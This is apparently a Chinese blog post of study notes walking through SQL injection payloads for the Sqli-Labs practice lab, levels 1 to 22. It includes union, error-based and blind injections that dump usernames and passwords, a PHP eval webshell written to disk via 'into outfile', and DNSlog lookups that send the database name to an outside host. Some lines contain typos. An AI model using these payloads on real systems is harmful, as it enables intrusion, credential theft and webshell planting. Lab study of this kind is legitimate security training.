侧边栏壁纸
博主头像

  • 累计撰写 12 篇文章
  • 累计创建 12 个标签
  • 累计收到 1 条评论

目 录CONTENT

文章目录

Sqli-Labs (1-22)关 笔记

⠀
2022-02-20 / 0 评论 / 3 点赞 / 506 阅读 / 6,745 字 / 正在检测是否收录...

基础知识

查库:	 select schema_name from information_schema.schemata;
查表: 	 select table_name from information_schema.tables where table_schema='security';
查列:    select column_name from information_schema.columns where table_name='users';
查字段:  select username,password from security.users;
left()函数:		 	left(database(),1)='s'		left(a.b)从左侧截取a的前b位,正吴则返回0
regexp函数:	 	select user() regexp 'r'		user()的结果是root,regexp为匹配root的正则表达式
like函数:		 	select user() like 'ro%		匹配与regexp相似。
substr(a,b.c)select  	substr() XXXX			substr(a,b.c)从位置b开始,截取a字符串c位长度
ascii()									将某个字符串转化为ascii值
chr((数字’)或者是ord((字母)使用python中的两个函数可以判断当前的ascii值是多少
对于security数据库:
select left(database(),1)='s';前1位是否是s
select database() regexp 's';匹配第一个字符是否是 s
select database() like 's%’;匹配第一个字符是否是s
select substr((select database()),1,1)='s'; 匹配第一个字符是否是s
select substr((select database()),1,3)= 'sec'; 匹配前三个个字符是否是 sec
select ascii(substr((select database()),1,1)); 直接回显115 或者是:
select ascii(substr((select database()),1,1))>110;如果大于110,就会回1,否则返回0.

常见参数

	user():当前数据库用户
	database():当前数据库名
	version():当前使用的数据库版本
	@@datadir:数据库存储数据路径
	concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)
	group_concat():和 concat() 类似,如 group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来
	concat_ws():用法类似
	hex() 和 unhex():用于 hex 编码解码
	load_file():以文本方式读取文件,在 Windows 中,路径设置为 \\
	select xxoo into outfile '路径':权限较高时可直接写文件
	@@version_compile_os; : 显示当前系统

Less-1:基于单引号的字符型注入

	?id=1
	SELECT * FROM users WHERE id='1' LIMIT 0,1;
	select * from users where id='1' or 1=1--  limit 0,1
	limit 0,1; 其中第一位是从第几个开始 ,第二位代表几个数据
	注释符 --+ -- #                  
	逻辑符 or and  
	a or b  true 只要一个正确返回true    a and  b  两个都对,返回true 
	order by 
	select * from users  order by 1  对列进行排列
	?id=1'  order by 3 --+
	union select  union 查询
	union select 1,2,3 --+ 
	?id=-1' union select 1,2,schema_name from information_schema.schemata limit 2,1--+   查看数据库
	group_concat()
	?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+ 	查看所有数据库 
	?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables  where table_schema='security' --+  查看所有表
	?id=-1' union select 1,2,group_concat(username) from security.users --+  查看用户
	concat_ws('~',A,B)
	?id=-1' union select 1,2,concat_ws('~',username,password) from security.users--+
	group_concat 和 concat_ws 联合查询
	?id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users--+ 查看可以得到的所有账号和密码

Less-2:布尔型注入

	?id=1
	?id=-1 / ?id=1'  and 1=1 --+
	?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

Less-3:基于’)的字符型注入

	?id=1')
	?id=1')  order by 3 --+
	?id=-1') union select 1,2,3--+
	?id=-1')  union select 1,2,group_concat(schema_name) from information_schema.schemata --+

Less-4:基于")字符型注入

	?id=1")
	?id=-1") order by 3 --+
	?id=-1")  union select 1,2,3 --+

Less-5:基于‘布尔型盲注

	?id=1
	?id=1‘
	?id=1‘ order by 3 --+
	?id=1'  and  left ((select database()),3)='sec' --+
	?id=1'  and  ascii(substr((select database()),1,1))>113 --+
	?id=1' union select updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
	?id=1' union select updatexml(1,concat(0x7e,(select  database()),0x7e),1) -- -

Less-6:基于“布尔型盲注

	?id=1"  union select updatexml(1,concat(0x7e,(select  database()),0x7e),1) -- -

Less-7:文件读写注入

1.show variables like '%secure%';查看 secure-file-priv 当前的值,如果显示为NULL,则需要打开
c:\phpstudy\PHPTutorial\MySQL\my.ini文件,在其中加上一句:secure_file_priv="/"。
2.一句话木马:php版本:<?php @eval(S_POST[“sql"]);?>其中sql是密码
3. load_file() 读取本地文件 select load_file('c:\\phpstudy\\PHPTutorial\\www\\sqli\\Less-7\\test.txt'); -t;
4.into outfile 写文件
用法:select'mysqlis very good' into outfile 'test1.txt ;
文件位置: C:\phpstudy\PHPTutorial\MySQL\data
或者是select 'crow 666' into outfile 'C:\\phpstudyAPHPIutorial\\www\\sqli\\Less-7\\test.txt';
文件位置: C:\phpstudy\PHPTutorial\www\sqli\Less-7
	?id=1
	?id=1'))
	?id=1 order by 3--+
	?id=1 union select 1,2 --+
	?id=-1')) union select 1,2,'<?php @eavl($_POST["sql"]);?>' into outfile  'C:\\xampp\\htdocs\\sqli-labs\\Less-7\\test.php' --+

Less-8:时间盲注

	?id=1' and sleep(5)--+
	?id=1' and If(ascii(substr(database(),1,1))>10,2,3)--+
	?id=1' and if (length(database())=8,1,sleep(5))--+
	dnslog.cn
	?id=1' and load_file(concat("\\\\",(database()),".oh7w6h.dnslog.cn\\less8.txt")) -- -

Less-9:基于'的时间盲注

	?id=1' and if(length(database())>115 ,sleep(5),1) -- -

Less-10:基于"的时间盲注

	?id=1" and if(length(database())>113 ,sleep(5),1) -- -

Less-11: 基于’的POST型注入

	admin' and 1=1 -- +
	a'  union select 1,database() #&passwd=admin&submit=Submit  当前库
	a'  union select 1, schema_name from information_schema.schemata limit 0,1#&passwd=admin&submit=Submit  第一个库
	a'  union select 1, group_concat(schema_name) from information_schema.schemata#&passwd=admin&submit=Submit  所有库
	a'  union select 1, group_concat(table_name) from information_schema.tables where table_schema="security"  #&passwd=admin&submit=Submit   security库的表
	a'  union select 1, group_concat(column_name) from information_schema.columns where table_name="users"  #&passwd=admin&submit=Submit  列
	a'  union select 1, group_concat(password) from security.users #&passwd=admin&submit=Submit 字段
	a'  union select 1, group_concat(concat_ws('~',username,password)) from security.users #&passwd=admin&submit=Submit

Less-12: 基于")的POST型注入

admin") and 1=1 #

Less-13:基于’)的错误回显注入

	a') union select updatexml(1,concat(0x7e,(select database()),0x7e),1) #
	burpsuite 暴力破解
	对a进行添加爆破,爆破出来进行第二个要更改前一个数字加1 
	uname=a') or left((select schema_name from information_schema.schemata limit 0,1),1)>'a' #passwd=admin&submit=Submit 

Less-14 :基于“ 的错误回显注入

	a“ union select updatexml(1,concat(0x7e,(select database()),0x7e),1) #
	a" and length(database())="8" #   长度测试 

Less-15:

	测试方法和上面一样
	admin' and length(database())="8"
	dnslog.cn
	admin' and load_file(concat("\\\\",(database()),".zy485i.dnslog.cn\\less15.txt")) -- - 

Less-16:

	admin") and 1=1 -- -
	admin") and load_file(concat("\\\\",(database()),".tx20a9.dnslog.cn\\less16.txt")) -- - 

Less-17: ' 密码注入

	' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
	' and updatexml(1,concat(0x7e,(select schema_name from information_schemata limit 0,1),0x7e),1) #
	' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e),1) #
	' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1) #
	' and updatexml(1,concat(0x7e,(select username,password from security.users),0x7e),1) # 

Less-18:基于’的User-Agent:报头文报错注入

	使用burpsuite	
	在报头文User-Agent:后加入注入语句
	User-Agent:',1,updatexml(1,concat(0x7e, database(),0x7e),1))#   
	然后注入语句与上相同

Less-19: 基于’的Referer:报头文报错注入

	Referer:',1,updatexml(1,concat(0x7e, database(),0x7e),1))# 

less-20: Cookie 报文注入

	Cookie:uname=' union select  1,2 ,database()#;
	Cookie:uname=' union select 1,2,(updatexml(1,concat(0x7e, database(),0x7e),1))# ;

Less-21: Cookie base64 ' 编码注入

	注入语句
	') union select 1,2,database()#
	Cookie: uname=JykgdW5pb24gc2VsZWN0IDEsMiAsZGF0YWJhc2UoKSM=
	Cookie: uname=')  union select 1,2,(updatexml(1,concat(0x7e,database(),0x7e),1))#;
	然后就是查询语句

Less-22: Cookie base64 " 编码注入

	" union select 1,2,database()#

小总结
这第一关 ,教的都是 ' " ') ") 以及报文注入 等等 ,
还有一些基础的sql语句查询语法 。比如 联合查询 ,xpath ,
这个最麻烦的就是盲注 ,可以使用二分法,和时间盲注 ,burpsuite爆破等 ,
比较浪费时间 ,大佬可以选择写脚本去爆破等等 ,
总结自己还是太菜了
不会 0x0

3

评论区